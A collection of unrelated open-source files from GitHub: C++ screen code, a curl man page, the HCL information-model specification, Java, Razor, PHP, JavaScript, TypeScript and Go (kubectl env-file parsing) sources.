#ifdef USE_OPENGL
void RedScreen::untouch_context()
{
_window.untouch_context();
}
bool RedScreen::need_recreate_context_gl()
{
if (_full_screen) {
return true;
}
return false;
}
#endif
void RedScreen::set_update_interrupt_trigger(EventSources::Trigger *trigger)
{
_update_interrupt_trigger = trigger;
}
bool RedScreen::update_by_interrupt()
{
return _update_interrupt_trigger != NULL;
}
void RedScreen::interrupt_update()
{
_update_interrupt_trigger->trigger();
}
#ifdef USE_OPENGL
void RedScreen::set_type_gl()
{
_window.set_type_gl();
}
void RedScreen::unset_type_gl()
{
_window.unset_type_gl();
}
#endif // USE_OPENGL
| {
"pile_set_name": "Github"
} |
.. role:: code
.. raw:: html
<style> .code {font-family:monospace;} </style>
<style> .caption {text-align:center;} </style>
.. |--| replace:: :option:`--`
| {
"pile_set_name": "Github"
} |
<html><head>
<title>curl_escape man page</title>
<meta name="generator" content="roffit 0.5">
<STYLE type="text/css">
P.level0 {
padding-left: 2em;
}
P.level1 {
padding-left: 4em;
}
P.level2 {
padding-left: 6em;
}
span.emphasis {
font-style: italic;
}
span.bold {
font-weight: bold;
}
span.manpage {
font-weight: bold;
}
h2.nroffsh {
background-color: #e0e0e0;
}
span.nroffip {
font-weight: bold;
font-size: 120%;
font-family: monospace;
}
p.roffit {
text-align: center;
font-size: 80%;
}
</STYLE>
</head><body>
<p class="level0"><a name="NAME"></a><h2 class="nroffsh">NAME</h2>
<p class="level0">curl_escape - URL encodes the given string <a name="SYNOPSIS"></a><h2 class="nroffsh">SYNOPSIS</h2>
<p class="level0"><span Class="bold">#include <curl/curl.h></span>
<p class="level0"><span Class="bold">char *curl_escape( char * url , int length );</span>
<p class="level0"><a name="DESCRIPTION"></a><h2 class="nroffsh">DESCRIPTION</h2>
<p class="level0">This function will convert the given input string to an URL encoded string and return that as a new allocated string. All input characters that are not a-z, A-Z or 0-9 will be converted to their "URL escaped" version (%NN where NN is a two-digit hexadecimal number).
<p class="level0">If the 'length' argument is set to 0, curl_escape() will use strlen() on the input 'url' string to find out the size.
<p class="level0">You must curl_free() the returned string when you're done with it. <a name="RETURN"></a><h2 class="nroffsh">RETURN VALUE</h2>
<p class="level0">A pointer to a zero terminated string or NULL if it failed. <a name="SEE"></a><h2 class="nroffsh">SEE ALSO</h2>
<p class="level0"><a class="manpage" href="./curl_unescape.html">curl_unescape(3)</a> <a class="manpage" href="./curl_free.html"> curl_free(3)</a> <span Class="manpage"> RFC 2396</span> <p class="roffit">
This HTML page was made with <a href="http://daniel.haxx.se/projects/roffit/">roffit</a>.
</body></html>
| {
"pile_set_name": "Github"
} |
# HCL Syntax-Agnostic Information Model
This is the specification for the general information model (abstract types and
semantics) for hcl. HCL is a system for defining configuration languages for
applications. The HCL information model is designed to support multiple
concrete syntaxes for configuration, each with a mapping to the model defined
in this specification.
The two primary syntaxes intended for use in conjunction with this model are
[the HCL native syntax](./hclsyntax/spec.md) and [the JSON syntax](./json/spec.md).
In principle other syntaxes are possible as long as either their language model
is sufficiently rich to express the concepts described in this specification
or the language targets a well-defined subset of the specification.
## Structural Elements
The primary structural element is the _body_, which is a container representing
a set of zero or more _attributes_ and a set of zero or more _blocks_.
A _configuration file_ is the top-level object, and will usually be produced
by reading a file from disk and parsing it as a particular syntax. A
configuration file has its own _body_, representing the top-level attributes
and blocks.
An _attribute_ is a name and value pair associated with a body. Attribute names
are unique within a given body. Attribute values are provided as _expressions_,
which are discussed in detail in a later section.
A _block_ is a nested structure that has a _type name_, zero or more string
_labels_ (e.g. identifiers), and a nested body.
Together the structural elements create a hierarchical data structure, with
attributes intended to represent the direct properties of a particular object
in the calling application, and blocks intended to represent child objects
of a particular object.
## Body Content
To support the expression of the HCL concepts in languages whose information
model is a subset of HCL's, such as JSON, a _body_ is an opaque container
whose content can only be accessed by providing information on the expected
structure of the content.
The specification for each syntax must describe how its physical constructs
are mapped on to body content given a schema. For syntaxes that have
first-class syntax distinguishing attributes and bodies this can be relatively
straightforward, while more detailed mapping rules may be required in syntaxes
where the representation of attributes vs. blocks is ambiguous.
### Schema-driven Processing
Schema-driven processing is the primary way to access body content.
A _body schema_ is a description of what is expected within a particular body,
which can then be used to extract the _body content_, which then provides
access to the specific attributes and blocks requested.
A _body schema_ consists of a list of _attribute schemata_ and
_block header schemata_:
- An _attribute schema_ provides the name of an attribute and whether its
presence is required.
- A _block header schema_ provides a block type name and the semantic names
assigned to each of the labels of that block type, if any.
Within a schema, it is an error to request the same attribute name twice or
to request a block type whose name is also an attribute name. While this can
in principle be supported in some syntaxes, in other syntaxes the attribute
and block namespaces are combined and so an attribute cannot coexist with
a block whose type name is identical to the attribute name.
The result of applying a body schema to a body is _body content_, which
consists of an _attribute map_ and a _block sequence_:
- The _attribute map_ is a map data structure whose keys are attribute names
and whose values are _expressions_ that represent the corresponding attribute
values.
- The _block sequence_ is an ordered sequence of blocks, with each specifying
a block _type name_, the sequence of _labels_ specified for the block,
and the body object (not body _content_) representing the block's own body.
After obtaining _body content_, the calling application may continue processing
by evaluating attribute expressions and/or recursively applying further
schema-driven processing to the child block bodies.
**Note:** The _body schema_ is intentionally minimal, to reduce the set of
mapping rules that must be defined for each syntax. Higher-level utility
libraries may be provided to assist in the construction of a schema and
perform additional processing, such as automatically evaluating attribute
expressions and assigning their result values into a data structure, or
recursively applying a schema to child blocks. Such utilities are not part of
this core specification and will vary depending on the capabilities and idiom
of the implementation language.
### _Dynamic Attributes_ Processing
The _schema-driven_ processing model is useful when the expected structure
of a body is known a priori by the calling application. Some blocks are
instead more free-form, such as a user-provided set of arbitrary key/value
pairs.
The alternative _dynamic attributes_ processing mode allows for this more
ad-hoc approach. Processing in this mode behaves as if a schema had been
constructed without any _block header schemata_ and with an attribute
schema for each distinct key provided within the physical representation
of the body.
The means by which _distinct keys_ are identified is dependent on the
physical syntax; this processing mode assumes that the syntax has a way
to enumerate keys provided by the author and identify expressions that
correspond with those keys, but does not define the means by which this is
done.
The result of _dynamic attributes_ processing is an _attribute map_ as
defined in the previous section. No _block sequence_ is produced in this
processing mode.
### Partial Processing of Body Content
Under _schema-driven processing_, by default the given schema is assumed
to be exhaustive, such that any attribute or block not matched by schema
elements is considered an error. This allows feedback about unsupported
attributes and blocks (such as typos) to be provided.
An alternative is _partial processing_, where any additional elements within
the body are not considered an error.
Under partial processing, the result is both body content as described
above _and_ a new body that represents any body elements that remain after
the schema has been processed.
Specifically:
- Any attribute whose name is specified in the schema is returned in body
content and elided from the new body.
- Any block whose type is specified in the schema is returned in body content
and elided from the new body.
- Any attribute or block _not_ meeting the above conditions is placed into
the new body, unmodified.
The new body can then be recursively processed using any of the body
processing models. This facility allows different subsets of body content
to be processed by different parts of the calling application.
Processing a body in two steps — first partial processing of a source body,
then exhaustive processing of the returned body — is equivalent to single-step
processing with a schema that is the union of the schemata used
across the two steps.
## Expressions
Attribute values are represented by _expressions_. Depending on the concrete
syntax in use, an expression may just be a literal value or it may describe
a computation in terms of literal values, variables, and functions.
Each syntax defines its own representation of expressions. For syntaxes based
in languages that do not have any non-literal expression syntax, it is
recommended to embed the template language from
[the native syntax](./hclsyntax/spec.md) e.g. as a post-processing step on
string literals.
### Expression Evaluation
In order to obtain a concrete value, each expression must be _evaluated_.
Evaluation is performed in terms of an evaluation context, which
consists of the following:
- An _evaluation mode_, which is defined below.
- A _variable scope_, which provides a set of named variables for use in
expressions.
- A _function table_, which provides a set of named functions for use in
expressions.
The _evaluation mode_ allows for two different interpretations of an
expression:
- In _literal-only mode_, variables and functions are not available and it
is assumed that the calling application's intent is to treat the attribute
value as a literal.
- In _full expression mode_, variables and functions are defined and it is
assumed that the calling application wishes to provide a full expression
language for definition of the attribute value.
The actual behavior of these two modes depends on the syntax in use. For
languages with first-class expression syntax, these two modes may be considered
equivalent, with _literal-only mode_ simply not defining any variables or
functions. For languages that embed arbitrary expressions via string templates,
_literal-only mode_ may disable such processing, allowing literal strings to
pass through without interpretation as templates.
Since literal-only mode does not support variables and functions, it is an
error for the calling application to enable this mode and yet provide a
variable scope and/or function table.
## Values and Value Types
The result of expression evaluation is a _value_. Each value has a _type_,
which is dynamically determined during evaluation. The _variable scope_ in
the evaluation context is a map from variable name to value, using the same
definition of value.
The type system for HCL values is intended to be of a level abstraction
suitable for configuration of various applications. A well-defined,
implementation-language-agnostic type system is defined to allow for
consistent processing of configuration across many implementation languages.
Concrete implementations may provide additional functionality to lower
HCL values and types to corresponding native language types, which may then
impose additional constraints on the values outside of the scope of this
specification.
Two values are _equal_ if and only if they have identical types and their
values are equal according to the rules of their shared type.
### Primitive Types
The primitive types are _string_, _bool_, and _number_.
A _string_ is a sequence of unicode characters. Two strings are equal if
NFC normalization ([UAX#15](http://unicode.org/reports/tr15/)
of each string produces two identical sequences of characters.
NFC normalization ensures that, for example, a precomposed combination of a
latin letter and a diacritic compares equal with the letter followed by
a combining diacritic.
The _bool_ type has only two non-null values: _true_ and _false_. Two bool
values are equal if and only if they are either both true or both false.
A _number_ is an arbitrary-precision floating point value. An implementation
_must_ make the full-precision values available to the calling application
for interpretation into any suitable number representation. An implementation
may in practice implement numbers with limited precision so long as the
following constraints are met:
- Integers are represented with at least 256 bits.
- Non-integer numbers are represented as floating point values with a
mantissa of at least 256 bits and a signed binary exponent of at least
16 bits.
- An error is produced if an integer value given in source cannot be
represented precisely.
- An error is produced if a non-integer value cannot be represented due to
overflow.
- A non-integer number is rounded to the nearest possible value when a
value is of too high a precision to be represented.
The _number_ type also requires representation of both positive and negative
infinity. A "not a number" (NaN) value is _not_ provided nor used.
Two number values are equal if they are numerically equal to the precision
associated with the number. Positive infinity and negative infinity are
equal to themselves but not to each other. Positive infinity is greater than
any other number value, and negative infinity is less than any other number
value.
Some syntaxes may be unable to represent numeric literals of arbitrary
precision. This must be defined in the syntax specification as part of its
description of mapping numeric literals to HCL values.
### Structural Types
_Structural types_ are types that are constructed by combining other types.
Each distinct combination of other types is itself a distinct type. There
are two structural type _kinds_:
- _Object types_ are constructed of a set of named attributes, each of which
has a type. Attribute names are always strings. (_Object_ attributes are a
distinct idea from _body_ attributes, though calling applications
may choose to blur the distinction by use of common naming schemes.)
- _Tuple types_ are constructed of a sequence of elements, each of which
has a type.
Values of structural types are compared for equality in terms of their
attributes or elements. A structural type value is equal to another if and
only if all of the corresponding attributes or elements are equal.
Two structural types are identical if they are of the same kind and
have attributes or elements with identical types.
### Collection Types
_Collection types_ are types that combine together an arbitrary number of
values of some other single type. There are three collection type _kinds_:
- _List types_ represent ordered sequences of values of their element type.
- _Map types_ represent values of their element type accessed via string keys.
- _Set types_ represent unordered sets of distinct values of their element type.
For each of these kinds and each distinct element type there is a distinct
collection type. For example, "list of string" is a distinct type from
"set of string", and "list of number" is a distinct type from "list of string".
Values of collection types are compared for equality in terms of their
elements. A collection type value is equal to another if and only if both
have the same number of elements and their corresponding elements are equal.
Two collection types are identical if they are of the same kind and have
the same element type.
### Null values
Each type has a null value. The null value of a type represents the absence
of a value, but with type information retained to allow for type checking.
Null values are used primarily to represent the conditional absence of a
body attribute. In a syntax with a conditional operator, one of the result
values of that conditional may be null to indicate that the attribute should be
considered not present in that case.
Calling applications _should_ consider an attribute with a null value as
equivalent to the value not being present at all.
A null value of a particular type is equal to itself.
### Unknown Values and the Dynamic Pseudo-type
An _unknown value_ is a placeholder for a value that is not yet known.
Operations on unknown values themselves return unknown values that have a
type appropriate to the operation. For example, adding together two unknown
numbers yields an unknown number, while comparing two unknown values of any
type for equality yields an unknown bool.
Each type has a distinct unknown value. For example, an unknown _number_ is
a distinct value from an unknown _string_.
_The dynamic pseudo-type_ is a placeholder for a type that is not yet known.
The only values of this type are its null value and its unknown value. It is
referred to as a _pseudo-type_ because it should not be considered a type in
its own right, but rather as a placeholder for a type yet to be established.
The unknown value of the dynamic pseudo-type is referred to as _the dynamic
value_.
Operations on values of the dynamic pseudo-type behave as if it is a value
of the expected type, optimistically assuming that once the value and type
are known they will be valid for the operation. For example, adding together
a number and the dynamic value produces an unknown number.
Unknown values and the dynamic pseudo-type can be used as a mechanism for
partial type checking and semantic checking: by evaluating an expression with
all variables set to an unknown value, the expression can be evaluated to
produce an unknown value of a given type, or produce an error if any operation
is provably invalid with only type information.
Unknown values and the dynamic pseudo-type must never be returned from
operations unless at least one operand is unknown or dynamic. Calling
applications are guaranteed that unless the global scope includes unknown
values, or the function table includes functions that return unknown values,
no expression will evaluate to an unknown value. The calling application is
thus in total control over the use and meaning of unknown values.
The dynamic pseudo-type is identical only to itself.
### Capsule Types
A _capsule type_ is a custom type defined by the calling application. A value
of a capsule type is considered opaque to HCL, but may be accepted
by functions provided by the calling application.
A particular capsule type is identical only to itself. The equality of two
values of the same capsule type is defined by the calling application. No
other operations are supported for values of capsule types.
Support for capsule types in a HCL implementation is optional. Capsule types
are intended to allow calling applications to pass through values that are
not part of the standard type system. For example, an application that
deals with raw binary data may define a capsule type representing a byte
array, and provide functions that produce or operate on byte arrays.
### Type Specifications
In certain situations it is necessary to define expectations about the expected
type of a value. Whereas two _types_ have a commutative _identity_ relationship,
a type has a non-commutative _matches_ relationship with a _type specification_.
A type specification is, in practice, just a different interpretation of a
type such that:
- Any type _matches_ any type that it is identical to.
- Any type _matches_ the dynamic pseudo-type.
For example, given a type specification "list of dynamic pseudo-type", the
concrete types "list of string" and "list of map" match, but the
type "set of string" does not.
## Functions and Function Calls
The evaluation context used to evaluate an expression includes a function
table, which represents an application-defined set of named functions
available for use in expressions.
Each syntax defines whether function calls are supported and how they are
physically represented in source code, but the semantics of function calls are
defined here to ensure consistent results across syntaxes and to allow
applications to provide functions that are interoperable with all syntaxes.
A _function_ is defined from the following elements:
- Zero or more _positional parameters_, each with a name used for documentation,
a type specification for expected argument values, and a flag for whether
each of null values, unknown values, and values of the dynamic pseudo-type
are accepted.
- Zero or one _variadic parameters_, with the same structure as the _positional_
parameters, which if present collects any additional arguments provided at
the function call site.
- A _result type definition_, which specifies the value type returned for each
valid sequence of argument values.
- A _result value definition_, which specifies the value returned for each
valid sequence of argument values.
A _function call_, regardless of source syntax, consists of a sequence of
argument values. The argument values are each mapped to a corresponding
parameter as follows:
- For each of the function's positional parameters in sequence, take the next
argument. If there are no more arguments, the call is erroneous.
- If the function has a variadic parameter, take all remaining arguments that
where not yet assigned to a positional parameter and collect them into
a sequence of variadic arguments that each correspond to the variadic
parameter.
- If the function has _no_ variadic parameter, it is an error if any arguments
remain after taking one argument for each positional parameter.
After mapping each argument to a parameter, semantic checking proceeds
for each argument:
- If the argument value corresponding to a parameter does not match the
parameter's type specification, the call is erroneous.
- If the argument value corresponding to a parameter is null and the parameter
is not specified as accepting nulls, the call is erroneous.
- If the argument value corresponding to a parameter is the dynamic value
and the parameter is not specified as accepting values of the dynamic
pseudo-type, the call is valid but its _result type_ is forced to be the
dynamic pseudo type.
- If neither of the above conditions holds for any argument, the call is
valid and the function's value type definition is used to determine the
call's _result type_. A function _may_ vary its result type depending on
the argument _values_ as well as the argument _types_; for example, a
function that decodes a JSON value will return a different result type
depending on the data structure described by the given JSON source code.
If semantic checking succeeds without error, the call is _executed_:
- For each argument, if its value is unknown and its corresponding parameter
is not specified as accepting unknowns, the _result value_ is forced to be an
unknown value of the result type.
- If the previous condition does not apply, the function's result value
definition is used to determine the call's _result value_.
The result of a function call expression is either an error, if one of the
erroneous conditions above applies, or the _result value_.
## Type Conversions and Unification
Values given in configuration may not always match the expectations of the
operations applied to them or to the calling application. In such situations,
automatic type conversion is attempted as a convenience to the user.
Along with conversions to a _specified_ type, it is sometimes necessary to
ensure that a selection of values are all of the _same_ type, without any
constraint on which type that is. This is the process of _type unification_,
which attempts to find the most general type that all of the given types can
be converted to.
Both type conversions and unification are defined in the syntax-agnostic
model to ensure consistency of behavior between syntaxes.
Type conversions are broadly characterized into two categories: _safe_ and
_unsafe_. A conversion is "safe" if any distinct value of the source type
has a corresponding distinct value in the target type. A conversion is
"unsafe" if either the target type values are _not_ distinct (information
may be lost in conversion) or if some values of the source type do not have
any corresponding value in the target type. An unsafe conversion may result
in an error.
A given type can always be converted to itself, which is a no-op.
### Conversion of Null Values
All null values are safely convertable to a null value of any other type,
regardless of other type-specific rules specified in the sections below.
### Conversion to and from the Dynamic Pseudo-type
Conversion _from_ the dynamic pseudo-type _to_ any other type always succeeds,
producing an unknown value of the target type.
Conversion of any value _to_ the dynamic pseudo-type is a no-op. The result
is the input value, verbatim. This is the only situation where the conversion
result value is not of the given target type.
### Primitive Type Conversions
Bidirectional conversions are available between the string and number types,
and between the string and boolean types.
The bool value true corresponds to the string containing the characters "true",
while the bool value false corresponds to the string containing the characters
"false". Conversion from bool to string is safe, while the converse is
unsafe. The strings "1" and "0" are alternative string representations
of true and false respectively. It is an error to convert a string other than
the four in this paragraph to type bool.
A number value is converted to string by translating its integer portion
into a sequence of decimal digits (`0` through `9`), and then if it has a
non-zero fractional part, a period `.` followed by a sequence of decimal
digits representing its fractional part. No exponent portion is included.
The number is converted at its full precision. Conversion from number to
string is safe.
A string is converted to a number value by reversing the above mapping.
No exponent portion is allowed. Conversion from string to number is unsafe.
It is an error to convert a string that does not comply with the expected
syntax to type number.
No direct conversion is available between the bool and number types.
### Collection and Structural Type Conversions
Conversion from set types to list types is _safe_, as long as their
element types are safely convertable. If the element types are _unsafely_
convertable, then the collection conversion is also unsafe. Each set element
becomes a corresponding list element, in an undefined order. Although no
particular ordering is required, implementations _should_ produce list
elements in a consistent order for a given input set, as a convenience
to calling applications.
Conversion from list types to set types is _unsafe_, as long as their element
types are convertable. Each distinct list item becomes a distinct set item.
If two list items are equal, one of the two is lost in the conversion.
Conversion from tuple types to list types permitted if all of the
tuple element types are convertable to the target list element type.
The safety of the conversion depends on the safety of each of the element
conversions. Each element in turn is converted to the list element type,
producing a list of identical length.
Conversion from tuple types to set types is permitted, behaving as if the
tuple type was first converted to a list of the same element type and then
that list converted to the target set type.
Conversion from object types to map types is permitted if all of the object
attribute types are convertable to the target map element type. The safety
of the conversion depends on the safety of each of the attribute conversions.
Each attribute in turn is converted to the map element type, and map element
keys are set to the name of each corresponding object attribute.
Conversion from list and set types to tuple types is permitted, following
the opposite steps as the converse conversions. Such conversions are _unsafe_.
It is an error to convert a list or set to a tuple type whose number of
elements does not match the list or set length.
Conversion from map types to object types is permitted if each map key
corresponds to an attribute in the target object type. It is an error to
convert from a map value whose set of keys does not exactly match the target
type's attributes. The conversion takes the opposite steps of the converse
conversion.
Conversion from one object type to another is permitted as long as the
common attribute names have convertable types. Any attribute present in the
target type but not in the source type is populated with a null value of
the appropriate type.
Conversion from one tuple type to another is permitted as long as the
tuples have the same length and the elements have convertable types.
### Type Unification
Type unification is an operation that takes a list of types and attempts
to find a single type to which they can all be converted. Since some
type pairs have bidirectional conversions, preference is given to _safe_
conversions. In technical terms, all possible types are arranged into
a lattice, from which a most general supertype is selected where possible.
The type resulting from type unification may be one of the input types, or
it may be an entirely new type produced by combination of two or more
input types.
The following rules do not guarantee a valid result. In addition to these
rules, unification fails if any of the given types are not convertable
(per the above rules) to the selected result type.
The following unification rules apply transitively. That is, if a rule is
defined from A to B, and one from B to C, then A can unify to C.
Number and bool types both unify with string by preferring string.
Two collection types of the same kind unify according to the unification
of their element types.
List and set types unify by preferring the list type.
Map and object types unify by preferring the object type.
List, set and tuple types unify by preferring the tuple type.
The dynamic pseudo-type unifies with any other type by selecting that other
type. The dynamic pseudo-type is the result type only if _all_ input types
are the dynamic pseudo-type.
Two object types unify by constructing a new type whose attributes are
the union of those of the two input types. Any common attributes themselves
have their types unified.
Two tuple types of the same length unify constructing a new type of the
same length whose elements are the unification of the corresponding elements
in the two input types.
## Static Analysis
In most applications, full expression evaluation is sufficient for understanding
the provided configuration. However, some specialized applications require more
direct access to the physical structures in the expressions, which can for
example allow the construction of new language constructs in terms of the
existing syntax elements.
Since static analysis analyses the physical structure of configuration, the
details will vary depending on syntax. Each syntax must decide which of its
physical structures corresponds to the following analyses, producing error
diagnostics if they are applied to inappropriate expressions.
The following are the required static analysis functions:
- **Static List**: Require list/tuple construction syntax to be used and
return a list of expressions for each of the elements given.
- **Static Map**: Require map/object construction syntax to be used and
return a list of key/value pairs -- both expressions -- for each of
the elements given. The usual constraint that a map key must be a string
must not apply to this analysis, thus allowing applications to interpret
arbitrary keys as they see fit.
- **Static Call**: Require function call syntax to be used and return an
object describing the called function name and a list of expressions
representing each of the call arguments.
- **Static Traversal**: Require a reference to a symbol in the variable
scope and return a description of the path from the root scope to the
accessed attribute or index.
The intent of a calling application using these features is to require a more
rigid interpretation of the configuration than in expression evaluation.
Syntax implementations should make use of the extra contextual information
provided in order to make an intuitive mapping onto the constructs of the
underlying syntax, possibly interpreting the expression slightly differently
than it would be interpreted in normal evaluation.
Each syntax must define which of its expression elements each of the analyses
above applies to, and how those analyses behave given those expression elements.
## Implementation Considerations
Implementations of this specification are free to adopt any strategy that
produces behavior consistent with the specification. This non-normative
section describes some possible implementation strategies that are consistent
with the goals of this specification.
### Language-agnosticism
The language-agnosticism of this specification assumes that certain behaviors
are implemented separately for each syntax:
- Matching of a body schema with the physical elements of a body in the
source language, to determine correspondence between physical constructs
and schema elements.
- Implementing the _dynamic attributes_ body processing mode by either
interpreting all physical constructs as attributes or producing an error
if non-attribute constructs are present.
- Providing an evaluation function for all possible expressions that produces
a value given an evaluation context.
- Providing the static analysis functionality described above in a manner that
makes sense within the convention of the syntax.
The suggested implementation strategy is to use an implementation language's
closest concept to an _abstract type_, _virtual type_ or _interface type_
to represent both Body and Expression. Each language-specific implementation
can then provide an implementation of each of these types wrapping AST nodes
or other physical constructs from the language parser.
| {
"pile_set_name": "Github"
} |
package saros.ui.util.selection.retriever.impl;
import java.util.ArrayList;
import java.util.List;
import org.eclipse.core.resources.IProject;
import org.eclipse.core.resources.IResource;
import saros.ui.util.selection.retriever.ISelectionRetriever;
/**
* This abstract class implements an {@link ISelectionRetriever} which retrieves selections which
* are adaptable to type T and convertible to type S.
*
* <p>E.g. if you wish to retrieve all selected {@link IResource} in order to get their surrounding
* {@link IProject}
*
* <p>For example,
*
* <pre>
* ISelectionRetriever<IProject> mySelectionRetriever =
* new AbstractSelectionConvertingRetriever<IResource, IProject>(IResource.class) {
* protected IProject convert(IResource resource) {
* return resource.getProject();
* }
* }
* </pre>
*
* @param <T> selections need to be adaptable to
* @param <S> adaptable selections are converted into
* @author bkahlert
*/
public abstract class AbstractSelectionConvertingRetriever<T, S> implements ISelectionRetriever<S> {
protected SelectionRetriever<T> selectionRetriever;
public AbstractSelectionConvertingRetriever(Class<? extends T> adapter) {
selectionRetriever = new SelectionRetriever<T>(adapter);
}
@Override
public List<S> getSelection() {
return convert(selectionRetriever.getSelection());
}
@Override
public List<S> getSelection(String partId) {
return convert(selectionRetriever.getSelection(partId));
}
@Override
public List<S> getOverallSelection() {
return convert(selectionRetriever.getOverallSelection());
}
/**
* Converts the the provided list of objects of AdapterType to a corresponding list of objects of
* ConvertType.
*
* @param objects to convert
* @return converted objects
*/
protected List<S> convert(List<T> objects) {
List<S> convertedObjects = new ArrayList<S>();
for (T object : objects) {
S convertedObject = convert(object);
if (convertedObject != null && !convertedObjects.contains(convertedObject)) {
convertedObjects.add(convertedObject);
}
}
return convertedObjects;
}
/**
* Converts the the provided object of AdapterType to a corresponding object of ConvertType.
*
* @param object to convert
* @return converted object
*/
protected abstract S convert(T object);
}
| {
"pile_set_name": "Github"
} |
@model TwoFactorAuthenticationViewModel
@{
ViewData["Title"] = "Two-factor authentication";
ViewData.AddActivePage(ManageNavPages.TwoFactorAuthentication);
}
<h4>@ViewData["Title"]</h4>
@if (Model.Is2faEnabled)
{
if (Model.RecoveryCodesLeft == 0)
{
<div class="alert alert-danger">
<strong>You have no recovery codes left.</strong>
<p>You must <a asp-action="GenerateRecoveryCodes">generate a new set of recovery codes</a> before you can log in with a recovery code.</p>
</div>
}
else if (Model.RecoveryCodesLeft == 1)
{
<div class="alert alert-danger">
<strong>You have 1 recovery code left.</strong>
<p>You can <a asp-action="GenerateRecoveryCodes">generate a new set of recovery codes</a>.</p>
</div>
}
else if (Model.RecoveryCodesLeft <= 3)
{
<div class="alert alert-warning">
<strong>You have @Model.RecoveryCodesLeft recovery codes left.</strong>
<p>You should <a asp-action="GenerateRecoveryCodes">generate a new set of recovery codes</a>.</p>
</div>
}
<a asp-action="Disable2faWarning" class="btn btn-default">Disable 2FA</a>
<a asp-action="GenerateRecoveryCodes" class="btn btn-default">Reset recovery codes</a>
}
<h5>Authenticator app</h5>
@if (!Model.HasAuthenticator)
{
<a asp-action="EnableAuthenticator" class="btn btn-default">Add authenticator app</a>
}
else
{
<a asp-action="EnableAuthenticator" class="btn btn-default">Configure authenticator app</a>
<a asp-action="ResetAuthenticatorWarning" class="btn btn-default">Reset authenticator key</a>
}
@section Scripts {
@await Html.PartialAsync("_ValidationScriptsPartial")
}
| {
"pile_set_name": "Github"
} |
<?php
/**
*
* This file is part of the phpBB Forum Software package.
*
* @copyright (c) phpBB Limited <https://www.phpbb.com>
* @license GNU General Public License, version 2 (GPL-2.0)
*
* For full copyright and license information, please see
* the docs/CREDITS.txt file.
*
*/
namespace phpbb\install\exception;
/**
* Thrown when the container cannot be built
*/
class cannot_build_container_exception extends installer_exception
{
}
| {
"pile_set_name": "Github"
} |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
class Google_Service_Translate_SupportedLanguages extends Google_Collection
{
protected $collection_key = 'languages';
protected $languagesType = 'Google_Service_Translate_SupportedLanguage';
protected $languagesDataType = 'array';
/**
* @param Google_Service_Translate_SupportedLanguage
*/
public function setLanguages($languages)
{
$this->languages = $languages;
}
/**
* @return Google_Service_Translate_SupportedLanguage
*/
public function getLanguages()
{
return $this->languages;
}
}
| {
"pile_set_name": "Github"
} |
// Run-time checking of preconditions.
function fail(message) {
throw new Error(message);
}
// Precondition function that checks if the given predicate is true.
// If not, it will throw an error.
function argument(predicate, message) {
if (!predicate) {
fail(message);
}
}
export { fail, argument, argument as assert };
export default { fail, argument, assert: argument };
| {
"pile_set_name": "Github"
} |
//
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license.
//
// Microsoft Bot Framework: http://botframework.com
//
// Bot Framework Emulator Github:
// https://github.com/Microsoft/BotFramwork-Emulator
//
// Copyright (c) Microsoft Corporation
// All rights reserved.
//
// MIT License:
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
import { SharedConstants } from '@bfemulator/app-shared';
import { Command } from '@bfemulator/sdk-shared';
import { store } from '../state/store';
const Commands = SharedConstants.Commands.Misc;
/** Registers miscellaneous commands */
export class MiscCommands {
// ---------------------------------------------------------------------------
// Returns the store's state
@Command(Commands.GetStoreState)
protected getStoreState() {
return store.getState();
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package kubectl
import (
"bufio"
"bytes"
"fmt"
"os"
"strings"
"unicode"
"unicode/utf8"
"k8s.io/apimachinery/pkg/util/validation"
)
var utf8bom = []byte{0xEF, 0xBB, 0xBF}
// proccessEnvFileLine returns a blank key if the line is empty or a comment.
// The value will be retrieved from the environment if necessary.
func proccessEnvFileLine(line []byte, filePath string,
currentLine int) (key, value string, err error) {
if !utf8.Valid(line) {
return ``, ``, fmt.Errorf("env file %s contains invalid utf8 bytes at line %d: %v",
filePath, currentLine+1, line)
}
// We trim UTF8 BOM from the first line of the file but no others
if currentLine == 0 {
line = bytes.TrimPrefix(line, utf8bom)
}
// trim the line from all leading whitespace first
line = bytes.TrimLeftFunc(line, unicode.IsSpace)
// If the line is empty or a comment, we return a blank key/value pair.
if len(line) == 0 || line[0] == '#' {
return ``, ``, nil
}
data := strings.SplitN(string(line), "=", 2)
key = data[0]
if errs := validation.IsEnvVarName(key); len(errs) != 0 {
return ``, ``, fmt.Errorf("%q is not a valid key name: %s", key, strings.Join(errs, ";"))
}
if len(data) == 2 {
value = data[1]
} else {
// No value (no `=` in the line) is a signal to obtain the value
// from the environment.
value = os.Getenv(key)
}
return
}
// addFromEnvFile processes an env file allows a generic addTo to handle the
// collection of key value pairs or returns an error.
